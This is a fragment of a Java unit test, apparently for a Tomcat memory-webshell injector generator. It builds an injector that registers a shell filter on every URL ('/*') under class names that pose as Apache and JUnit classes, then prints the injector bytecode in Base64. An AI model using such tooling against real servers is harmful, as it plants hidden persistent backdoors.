+        String shellClassName = "org.apache.utils.CommonFilter";
+        String injectClassName = "org.junit.jupiter.InjectUtil";
+        byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*");
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(injectClassName, obj.getClass().getName());
+        assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString());
+        assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString());
+        assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""),
+                ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString());
+
+//        Object filter = ClassUtils.invokeMethod(obj, "getFilter", new Class[]{Object.class}, new Object[]{null});
+//        assertEquals(shellClassName, filter.getClass().getName());
+//
+//        FileUtil.writeFile("InjectUtil.class", bytes);
+        System.out.println(Base64.encodeBase64String(bytes));
+    }
+}